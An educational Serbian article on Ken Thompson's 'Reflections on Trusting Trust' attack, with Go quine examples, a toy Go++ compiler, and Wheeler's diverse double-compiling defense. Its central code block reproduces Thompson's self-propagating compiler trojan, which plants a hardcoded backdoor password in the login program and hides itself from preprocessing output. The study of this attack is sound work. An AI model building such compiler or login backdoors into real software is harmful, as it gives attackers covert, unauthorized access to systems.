STOP RIO TINTO
NIKOLA UBAVIĆ

Kompajleri i trojanci

Godine 1983. najprestižniju nagradu u oblasti računarstva, Tjuringovu nagradu, dobili su Denis Riči1 i Ken Tompson2 zbog njihovog razvoja UNIX operativnog sistema. U sklopu dodele nagrade, Ken Tompson je održao je predavanje u kom je opisao jednu vrstu trojanca - štetnog programa koji ima sposobnost razmnožavanja. Sadržaj Tompsonovog predavanja je sledeće godine objavljen u žurnalu Communications of the ACM pod nazivom Reflections on Trusting Trust, i rad se danas se smatra klasikom u oblasti računarstva.

Rad je kratak (3 strane) i napisan jednostavnim jezikom, zbog čega je pristupačan širokom auditorijumu. Ipak u njemu se pojavljuju izuzetno duboke ideje računarstva. Tompsonovo genijalno povezivanje tih ideja omogućilo mu je da konstruiše trojanski napad protiv koga "nema leka". Predstojeći tekst pokušaće da čitaocima približi Tompsonov napad.

Tompson je rad podelio u tri celine (tri koraka u konstrukciji napada). Primere je dao kroz C jezik, a ovde će biti dati analogni primeri kroz Go jezik, jer su nešto jednostavniji u odnosu na one napisane u C-u3. Svi primeri u Go jeziku se mogu pokrenuti.

Prvi deo

Prvi korak u napadu predstavlja pisanje programa koji reprodukuje sopstveni kôd. Takav program je poznat i kao kvajn (eng. quine4). Pri tome, kvajn ne sme da učita sopstveni kôd iz spoljnog resursa (npr iz datoteke, ili sa servera).

Pisanje takvog programa je odlična programerska vežba, te preporučujem da ovde pauzirate čitanje i pokušate da konstruišete kvajn u omiljenom jeziku. U nastavku sledi konstrukcija kvajna u Go jeziku.

Počnimo od prostog programa koji ispisuje početak sopstvenog koda:

package main

import "fmt"

func main() {
    fmt.Println("package main\n\nimport \"fmt\"\n\nfunc main() {\n")
}

Problem nastaje ako želimo da u nisku "package main\n\nimport \"fmt\"\n\nfunc main() {\n" dodamo i naredni red koda. Naime, u narednom redu se nalazi sama niska, te bi dodavanje reda u nisku dovelo do toga da se ta niska uveća, što znači i da bi se i red uvećao, pa bi i niska morala dodatno da se uveća itd… Prosto, niska ne može sadržati red u kom se sama nalazi. Zbog toga, umesto literala niske, u Println smestićemo jednu promenljivu koja sadrži kôd:

package main

import "fmt"

func main() {
    fmt.Println(code)
}

var code = `package main

import "fmt"

func main() {
    fmt.Println(code)
}

var code = `

Na prvi pogled, nismo mnogo postigli, jer i dalje ne možemo u promenljivu code smestiti ceo kôd programa. Trik je u tome da unutar argumenta Println funkcije nadovežemo dve niske code. Naravno, sve izmene koje napravimo unutar main funkcije moramo napraviti i unutar samog literala:

package main

import "fmt"

func main() {
    fmt.Println(code + code)
}

var code = `package main

import "fmt"

func main() {
    fmt.Println(code + code)
}

var code = `

Pokretanjem programa uviđamo da smo skoro došli do kvajna, ali nedostaju kosi navodnici koji bi obuhvatili "drugu polovinu" koda:

$ go run quine.go
package main

import "fmt"

func main() {
    fmt.Println(code + code)
}

var code = package main

import "fmt"

func main() {
    fmt.Println(code + code)
}

var code =
Pokretanje prethodnog primera u terminalu.

Kako unutar literala niske definisanog sa kosim navodnicima ne možemo direktno uneti kosi navodnik (barem ne bez kosnih crta što bi dodatno zakomplikovalo konstrukciju…), ispisaćemo kosi navodnik koristeći njegovu ASCII vrednost (0x60):

package main

import "fmt"

func main() {
    fmt.Println(code + "\x60" + code + "\x60")
}

var code = `package main

import "fmt"

func main() {
    fmt.Println(code + "\x60" + code + "\x60")
}

var code = `

Ovim smo zaista konstruisali kvajn, što se može lako proveriti u terminalu.

Konkretni kvajn programi zavise od osobina jezika u kom se pišu, ali u većini jezika moguće je iskoristiti ideju koju smo ovde izložili. I sam primer napisan u C-u koji je Tompson izložio u radu zasniva se na tome da se ista niska dva puta ispiše.

Istaknimo jednu bitnu činjenicu: kvajn se lako može proširivati sa raznim funkcionalnostima pri čemu će i dalje ostati kvajn. Dovoljno je sva nova proširenja u kodu dopisati i u samu nisku. Na primer, naš kvajn može poslati poruku na neki server:

package main

import (
    "bytes"
    "fmt"
    "net/http"
)

func main() {
    payload := []byte("hello")
    req, _ := http.NewRequest("PUT", "http://example.com/", bytes.NewBuffer(payload))
    http.DefaultClient.Do(req)
    fmt.Println(c + "\x60" + c + "\x60")
}

var c = `package main

import (
    "bytes"
    "fmt"
    "net/http"
)

func main() {
    payload := []byte("hello")
    req, _ := http.NewRequest("PUT", "http://example.com/", bytes.NewBuffer(payload))
    http.DefaultClient.Do(req)
    fmt.Println(c + "\x60" + c + "\x60")
}

var c = `

Za Tompsonov napad nije nužno da kvajn program ispisuje sopstveni kôd u terminal. Umesto toga potrebno je da kvajn ispiše kôd u datoteku ili deo memorije. Iz prethodnih primera je jasno da i to možemo postići.

Drugi deo

U drugom delu rada, Ken Tompson nam skreće pažnju na zanimljiv odnos programskog jezika i kompajlera tog jezika, prikazujući jedan problem u konstrukciji kompajlera.

Zamislimo da želimo da nastavimo razvoj Go jezika u posebnom smeru, uvodeći ključne reči na srpskom. Na primer, prvo možemo zameniti ključnu reč func sa FUNKCIJA5. Naš novi programski jezik (ili bolje reći dijalekat) nazvaćemo Go++.

Konstruisaćemo kompajler za Go++ služeći se izvršnom verzijom standardnog Go kompajlera. Naredni kompajler sva pojavljivanja ključne reči FUNKCIJA zamenjuje sa ključnom reči func a zatim prosleđuje datoteku postojećem6 kompajleru:

package main

import (
    "os"
    "os/exec"
    "regexp"
)

func main() {
    // Učitavamo datoteku koja je navedena kao prvi argument komandne linije
    filename := os.Args[1]
    input, _ := os.ReadFile(filename)

    // Zamenjujemo sva pojavljivanja `FUNKCIJA` sa `func` koristeći
    // regularni izraz koji hvata samo linije koje počinju sa `FUNKCIJA`
    // Time se izbegava da se izvrše neke neželjene zamene
    r := regexp.MustCompile(`(?m)^\s+FUNKCIJA`)
    output := r.ReplaceAll(input, []byte("func"))
    os.WriteFile(filename, output, 0600)

    // Pozivamo standardni go kompajler
    cmd := exec.Command("go", "build", filename)
    cmd.Run()

    // Vraćamo sadržaj datoteke u prvobitno stanje
    os.WriteFile(filename, input, 0600)
}
Datoteka go++.go: Go++ kompajler napisan u Go jeziku. Mnogo šta se može zameriti ovom kodu, ali za nas je sada samo bitno da je primer kratak i možemo ga zaista pokrenuti. Naravno, u idealnom slučaju, kompajler za Go++ jezik bismo napravili modifikacijom postojećeg Go kompajlera.

Jednom kada iskompajliramo go++.go datoteku dobijamo kompajler za jezik u kom je moguće koristiti FUNKCIJA ključnu reč. Prema tome, i kôd kompajlera možemo napisati u Go++ jeziku:

package main

import (
    "os"
    "os/exec"
    "regexp"
)

FUNKCIJA main() {
    filename := os.Args[1]
    input, _ := os.ReadFile(filename)

    r := regexp.MustCompile(`(?m)^\s+FUNKCIJA`)
    output := r.ReplaceAll(input, []byte("func"))
    os.WriteFile(filename, output, 0600)

    cmd := exec.Command("go", "build", filename)
    cmd.Run()

    os.WriteFile(filename, input, 0600)
}
Druga verzija datoteke go++.go: Go++ kompajler napisan u Go++ jeziku. Samo je jedna ključna reč zamenjena u odnosu na prethodni primer.
$ go build -i go++_1 go++.go
$ sed -i 's/func main()/FUNKCIJA main()/g' go++.go # prelazak na novu sintaksu
$ ./go++_1 go++.go # novi kompajler kompajlira go++ kod
$ ./go++ go++.go  # kompajler napisan u go++ dijalektu kompajlira go++ kod

Bitna stvar je da datoteku sa novom sintaksom ne možemo iskompajlirati bez prve kompilacije datoteke go++.go. Moramo prvo iskompajlirati verziju programa koja je kompatibilna sa Go kompajlerom, a tek nakon toga možemo iskoristiti Go++ kompajler da bi kompajlirali datoteke sa FUNKCIJA ključnom reči. Međutim, jednom kada imamo kompajler koji razume Go++ više nam nije neophodna prvobitna verzija datoteke go++.go (napisana u Go jeziku), i Go++ kompajler dalje dobijamo kompilacijom datoteke napisane u Go++ jeziku!

Tompson je u radu ovaj korak prikazao kroz još suptilniji primer C kompajlera koji je u jednom trenutku morao da razume nizove karaktera poput \n ali nije mogao da ih poseduje u sopstvenom kodu. Na primer, neka je dat kompajler C jezika koga ćemo nazvati C1. Deo ovog kompajlera koji obrađuje niske mogao bi da sadrži kôd poput sledećeg:

c = next();
if(c == '\\') {
    c = next();
    if(c == 'n')
        c = '\n';
}
Deo neke datoteke, nazovimo je c1.c,

Navedeni kôd parsira i obrađuje niz \n iz niske. Međutim, u samom kodu se pojavljuje niz karaktera \n, što znači da ako ne posedujemo kompajler koji razume \n ne možemo iskompajlirati navedeni kôd. Stoga, prvobitno je morao biti iskompajliran kôd nekog kompajlera C0 u kom bi se umesto niza \n iskoristila ASCII vrednost karaktera:

c = next();
if(c == '\\') {
    c = next();
    if(c == 'n')
        c = 10;
}
Deo neke datoteke, nazovimo je c0.c,

Jednom kada iskompajliramo kôd c0.c, sa dobijenim kompajlerom možemo da kompajliramo c1.c. Dobijeni C1 kompajler može da kompajlira sopstveni kôd tj. c1.c, i kôd c0.c nam više nije neophodan. Primetimo da smo ovim dobili kompajler C1 koji u sopstvenom kodu nigde nema navedeno da karakter \n poseduje ASCII vrednost 10. Ali i bez te eksplicitne veze on uspešno može da tumači niz \n! Dakle kompajler C0 je u nekom smislu "naučio" kompajler C1 šta \n znači, i ovo "znanje" se dalje ne prenosi preko koda već kroz same kompajlere (izvršne datoteke).

Tompson u ovom koraku želi da nam ukaže na fenomen koji smo videli kroz dva primera: informacije se prenose sa kompajlera na kompajler, iako nisu eksplicitno navedene u kodu.

Treći deo

U trećem i finalnom delu, Tompson navodi kako se kompajler može izmeniti tako da prepozna kôd nekog karakterističnog programa a zatim i da ubaci namernu grešku u taj kod. Tompson navodi primer login programa koji je bio prisutan na svakom UNIX sistemu i imao značajnu ulogu u bezbednosti. Maliciozni kompajler bi mogao detektovati kompilaciju login programa, a zatim u izvršnu verziju ubaciti mogućnost logovanja sa nekom master šifrom koju napadač zna.

Detekcija kompilacije login programa nije problem. Programi poput login programa imaju karakteristične delove koda, i ti kodovi se retko menjaju. Problem (za napadača) je što bi se ovakav napad lako razotkrio pri pregledu koda kompajlera. Zbog toga, koristimo ideju iz drugog dela: napisaćemo kompajler koji u kôd drugog kompajlera ubacuje napad login programa. Dakle, napad se realizuje u dva koraka:

  1. Maliciozni kompajler detektuje kompilaciju kompajlera, i u izvršne verzije ubacuje napad na login program,
  2. Zaraženi kompajleri kompajliraju login program i u njega ubacuju sigurnosni propust.

Sve što je potrebno za napad, jeste da napadač distribuira izvršnu verziju zaraženog kompajlera (na primer kroz neki repozitorijum paketa). Korisnici ovog kompajlera ne mogu (bez detaljne i naporne analiza asemblera) znati za napad unutar kompajlera. Ako sami iskompajliraju neki drugi kompajler, dobijeni kompajleri će sadržati napad na login program, iako će izvorni kôd bit "čist", u šta se korisnici mogu uveriti.

Da bi se osigurali da se napad širi, iskoristićemo ideju iz prvog dela: ne samo da ćemo prilikom kompilacije kompajlera ubaciti napad login programa, već ćemo reprodukovati i sam napad na kompajler. Zbog toga nam je potreban kvajn: kôd koji reproducira sam sebe. Na ovaj način zaraženi kompajleri će nastaviti da prenose napad na ostale kompajlere koje budu kompajlirali.

Realizacija napada

Ideja opisanog napada jeste veoma elegantna, ali istovremeno deluje da bi realizacija bila nepraktična ili čak nemoguća. Ipak, sam Tompson je uspešno implementirao opisan napad 1975. godine (ili možda čak i ranije), i zarazio CC (prvi C kompajler). Iako Tompson nije nameravao, zaraženi kompajler je stigao do korisnika koji nisu znali za njegovu malicioznost. Detalji o tome koliko je zaraženi kompajler naneo štete ostaće zauvek zaboravljeni. Tek neka svedočenja po raznim mejling listama pružaju informacije o tome šta se tačno desilo sa originalnim Tompsonovim napadom. Videti [2] za detalje o hronologiji napada i dodatnim referencama.

Na osnovu [2], imamo uvid kako je originalan Tompsonov napad tačno izgledao. U nastavku je data nih.c datoteka čiji sadržaj je potrebno nadovezati na cc.c datoteku (kôd CC kompajlera) uz neke male dorade. Po Tompsonovim rečima nih je skraćenica za not invented here. U datoteci nih.c definisana je jedna celobrojna promenljiva nihflag, jedna niska nihstr, i dve funkcije codenih i repronih. Funkcija codenih služi za detekciju kodova login.c i cc.c, pri čemu se veći deo ove funkcije odnosi na cc.c datoteku. U slučaju datoteke login.c, funkcija codenih dodaje u kôd mogućnost da se korisnik uloguje sa šifrom "codenih". U slučaju datotke cc.c, funkcija codenih u kôd dodaje poziv na same sebe kao i poziv funkcije repronih. Funkcija repronih je zapravo kvajn koji na kraj cc.c postavlja sadržaj nih.c. Promenljiva nihflag služi za čuvanje stanja tokom kompilacije, dok niska nihstr predstavlja osnov za kvajn (kao što smo videli u prvom delu).

// sadrži stanje do kog dela napada se stiglo
// implicitno poseduje tip int
nihflg;

// codenih se poziva za svaku liniju ulaznog koda u toku faze pretprocesiranja
codenih()
{
    char *p,*s;
    int i;

    // Ako je kompajleru prosleđena opcija -p (pflag),
    // kompajler će ispisati pretprocesirani kod.
    // Time se izbegava da napad bude otkriven na ovaj način
    if(pflag)
        return;

    // Preskače tabove koji se nalaze na početku linije
    // Ovo olakšava dalju pretragu
    p=line;
    while(*p=='\t')
        p++;

    // Detektuje karakterističan kôd login.c datoteke.
    // Ako se trenutna linija ne podudara sa ovim kodom,
    // nastavlja se na napad na cc.c datoteku
    s="namep = crypt(pwbuf);";
    for(i=0;i<21;i++)
        if(s[i]!=p[i])
            goto l1;

    // Naredne dve deklaracije i petlja služe za ubacivanje
    // bezbednosnog propusta u login.c datoteku.
    // Kôd unutar niske upoređuje unetu lozinku
    // sa niskom "codenih". Ako je poređenje uspešno,
    // interne promenljive namep i np biće postavljene
    // tako da login program prihvati "codenih" kao validnu šifru.
    // Nakon završetka modifikacije koda, prelazi se na kraj (l4).
    p=+i;
    s="for(c=0;c<8;c++)"
      "if(\"codenih\"[c]!=pwbuf[c])goto x1x;"
      "while(*namep)namep++;"
      "while(*np!=':')np++;x1x:";

    for(i=0;;i++)
        if(!(*p++=s[i]))
            break;
    goto l4;

l1:
    // Pošto poređenje sa kodom login programa nije uspelo,
    // na isti način se proverava da li se trenutna linija
    // podudara sa jednom od karakterističnih linija iz cc.c datoteke.
    s="av[4] = \"-P\";";
    for(i=0;i<13;i++)
        if(s[i]!=p[i])
            goto l2;

    // nihflag se postavlja na 1, što će signalizirati
    // da se stiglo do linije `av[4] = "-P"`;
    nihflg++;
    goto l4;

l2:
    // Dalja pretraga linija CC koda. Pošto je kôd `while(getline()) {` isuviše
    // generički, prvo se proverava da li je je detektovana linija
    // `av[4] = "-P"` tj. da li je nihflag == 1.
    if(nihflg!=1)
        goto l3;
    s="while(getline()) {";
    for(i=0;i<18;i++)
        if(s[i]!=p[i])
            goto l3;

    // Ako je pronađena tražena petlja, pozivamo upravo ovu funkciju i
    // postavljamo nihflag na 2. Naravno, pozivanje funkcije nije dovoljno,
    // u kôd cc.c moramo postaviti kôd funkcije codenih. To će uraditi funkcija repronih.
    p=+i;
    s="codenih();";
    for(i=0;;i++)
        if(!(*p++=s[i]))
            break;
    nihflg++;
    goto l4;

l3:
    // Na isti način kao gore, tražimo karakterističnu liniju unutar cc.c
    // U ovom slučaju, to je linija koja se poziva na samom kraju pretprocesiranja.
    if(nihflg!=2)
        goto l4;
    s="fflush(obuf);";
    for(i=0;i<13;i++)
        if(s[i]!=p[i])
            goto l4;

    // Ako je pronađena karakteristična linija, dodaje se poziv funkciji repronih
    // koja će reprodukovati datoteku `nih.c` (tj. ovaj napad) na kraj datoteke cc.c
    p=+i;
    s="repronih();";
    for(i=0;;i++)
        if(!(*p++=s[i]))
            break;
    nihflg++;
l4:;
}

// nihstr će sadržati kôd datoteke koju upravo čitamo,
// tj. biće osnova za konstrukciju kvajn programa.
// Trenutno, niska sadrži samo %0 koji nije validan kôd,
// ali će se popuniti oktalnim brojevima koji predstavljaju sadržaj datoteke.
// Znak % je iskorišćen jer se ne pojavljuje u ovoj datoteci.
// Na taj način, pri konstrukciji kvajn programa možemo iskoristiti % kao reper.
char nihstr[]
{
%0
};

repronih()
{
    int i,n,c;

    // Ako nihflag nije 3, onda nismo u CC kompajleru,
    // i preskačemo dalje korake
    if(nihflg!=3)
        return;

    // Narednom petljom se prolazi kroz nihstr,
    // i na osnovu toga se konstruiše kvajn program.
    // Konstrukcija se odvija u pet faza (pet prolaska kroz nihstr).
    // Promenljiva n ukazuje o kojoj fazi se radi. Faze su sledeće:
    // n=0 Ispisivanje teksta pre %
    // n=1 Ispisivanje oktalnih vrednosti pre %
    // n=2 Ispisivanje oktalne vrednosti za %
    // n=3 Bez ispisa. Brojač i se pomera samo da bi se stiglo do pozicije % karaktera
    // n=4 Ispisivanje teksta nakon %
    n=0;
    i=0;
    for(;;)
    switch(c=nihstr[i++]){
    // Oktalna vrednost % karaktera je 045. Izbegnuto je
    // da se u okviru koda pojavljuje više puta karakter %
    case 045:
        n++;
        // Ako smo prešli iz faze 0 u 1, vraćamo se na početak nihstr-a
        if(n==1)
            i=0;
        // Karakter % obrađujemo samo ako smo u fazi 2.
        // U tom slučaju direktno prelazimo na default slučaj.
        if(n!=2)
            continue;
    default:
        // U fazama 1 i 2 ispisujemo oktalne vrednosti karaktera, zajedno sa zapetama.
        // Ovim se popunjava nihstr.
        if(n==1||n==2){
            putc('0',obuf);
            if(c>=0100)
                putc((c>>6)+'0',obuf);
            if(c>=010)
                putc(((c>>3)&7)+'0',obuf);
            putc((c&7)+'0',obuf);
            putc(',',obuf);
            putc('\n',obuf);
            continue;
        }

        // Ako smo u 4. ili 5. fazi, ispisujemo sam karakter.
        if(n!=3)
            putc(c,obuf);
        continue;

    case 0:
        // Ako smo stigli do kraja niske, vraćamo se na početak niske
        // i prelazimo u sledeću fazu.
        // Prelazak u fazu 5 zaustavlja program.
        n++;
        i=0;
        if(n==5){
            fflush(obuf);
            return;
        }
    }
}
Gotovo identična reprodukcija originalnog Tompsonovog napada (osim komentara, koji su dodati za potrebe ovog teksta).

Primetimo da je neophodno izvršiti preprocesiranje nih.c datoteke, tako što će se nihstr popuniti oktalnim brojevima koji predstavljaju trenutni sadržaj datoteke. To se može uraditi pomoću standardnih Unix komanda (za detalje, ponovo upućujemo na [2]). Na kraju procesa nihstr će izgledati poput:

char nihstr[]
{
0156,
0151,
0150,
0146,
...
0175,
012,
0175,
012,
0
};

Odbrana

Genijalnost napada je u tome ga je izuzetno teško otkriti, a pritom korisnici nemaju mnogo razlog za sumnju. Naime, za open source programe se često vezuje osećaj sigurnosti, jer svi korisnici mogu pregledati kôd i ustanoviti šta tačno neki program radi. Međutim, u ovom napadu, kompajler modifikuje kôd programa kog kompajlira7. Naravno, mi možemo pregledati kôd kompajlera A kog koristimo, ali moramo iskoristiti neki drugi kompajler B da bi kompajlirali kôd A. Čak i da pregledamo kôd kompajlera B, moramo iskoristiti neki treći kompajler C, itd... Pre ili kasnije moramo se osloniti na neku izvršnu datoteku koju nismo sami iskompajlirali8.

Dakle, pregled izvornog koda nam ne garantuje sigurnost. Sa druge strane, pregled mašinskog koda (ili čak dekompajliranog koda) neke izvršne datoteke, bi bio praktično neizvodljiv posao zbog količine potrebnog truda.

U doktorskoj tezi [3] David A. Wheeler je opisao jedan metod koji značajno umanjuje mogućnost Tompsonovog napada. Ideja je da se kôd nekog kompajlera kompajlira sa 2 različita kompajlera. Na primer, recimo da posedujemo kôd CC kompajlera, kao i izvršne datoteke CC i TinyC kompajlera koje su možda kompromitovane. Ako CC kôd iskompajliramo sa CC i TinyC programom dobićemo naravno različite izvršne datoteke (ova činjenica nema veze sa napadom, u pitanju je samo upotreba različitih kompajlera), i poređenje tih datoteka (bit po bit) nam ne može mnogo reći. Međutim, sada posedujemo dva CC kompajlera, nastala od istog koda. Stoga, ako sa ovim novim kompajlerima iskompajliramo ponovo kôd CC trebalo bi da ne postoji razlika između dobijenih izvršnih datoteka. Ako je razlika prisutna, znaćemo da je jedan od kompajlera kompromitovan. Ako ne uočimo razliku, ili su oba kompajlera nisu kompromitovana ili su oba kompromitovana.

Predstavljanje slučaja kada je CC (0 na slici) kompromitovan, a TinyC (tc na slici) nije. Napad sa prenosi sa 0 na 1 pa na 3. Sa druge strane, kompajler 2 i 4 nemaju u sebi napad. Kompajleri 1 i 2 ne moraju biti isti kao datoteke, ali bi bili semantički isti programi ako jedan od kompajlera ne bi bio kompromitovan. U tom slučaju njihovi izlazi 3 i 4 bi bile iste datoteke. Ako to nije slučaj, možemo da zaključimo da je jedan kompromitovan

Distribuirati zaražen kompajler je veoma teško, a još teže je distribuirati dva zaražena kompajlera (pri čemu svaki od napada sadrži i onaj drugi). Prema tome, ako je prethodno opisani test negativan, možemo imati malo više sigurnosti da kompajleri nisu zaraženi. Naravno, ovo nije definitivan dokaz, ali isti postupak možemo ponoviti sa još više nezavisnih kompajlera (na primer, GCC, MSVC, itd...), čime se još više smanjuje mogućnost da su svi kompajleri zaraženi.

Literatura

  1. Reflections on trusting trust, Ken Thompson, Communications of the ACM, Volume 27, Issue 8
  2. Running the “Reflections on Trusting Trust” Compiler, Russ Cox
  3. Fully Countering Trusting Trust through Diverse Double-Compiling, David A. Wheeler

  1. Dennis Ritchie (1941–2011) ↩︎
  2. Ken Thompson (1943-) ↩︎
  3. Tompson je značajno uticao na razvoj jezika C, a takođe je i jedan od autora jezika Go. ↩︎
  4. Naziv programa je dat po logičaru Willard Van Orman Quine-u. U literaturi se takođe sreće i naziv SELF. ↩︎
  5. Naravno, ovo je samo primer osmišljen za potrebe ovog teksta, ali argumenti koji slede mogu su primeniti na bilo koju karakteristiku jezika. Videćemo uskoro primer koji je Tompson dao. ↩︎
  6. Primetimo da nije 'varanje' to što pozivamo go kao izvršnu datoteku. Lako smo mogli mogli da prekompajliramo go kompajler sa našom doradom. ↩︎
  7. Ovo smo demonstrirali i sa Go++ kompajlerom. ↩︎
  8. Mala digresija sa teme: zanimljivo bi bilo zamisliti kako izgledao bootstraping proces kada bi nekim katastrofalnim slučajem (jaka solarna oluja) izgubili sve digitalne podatke na Zemlji. ↩︎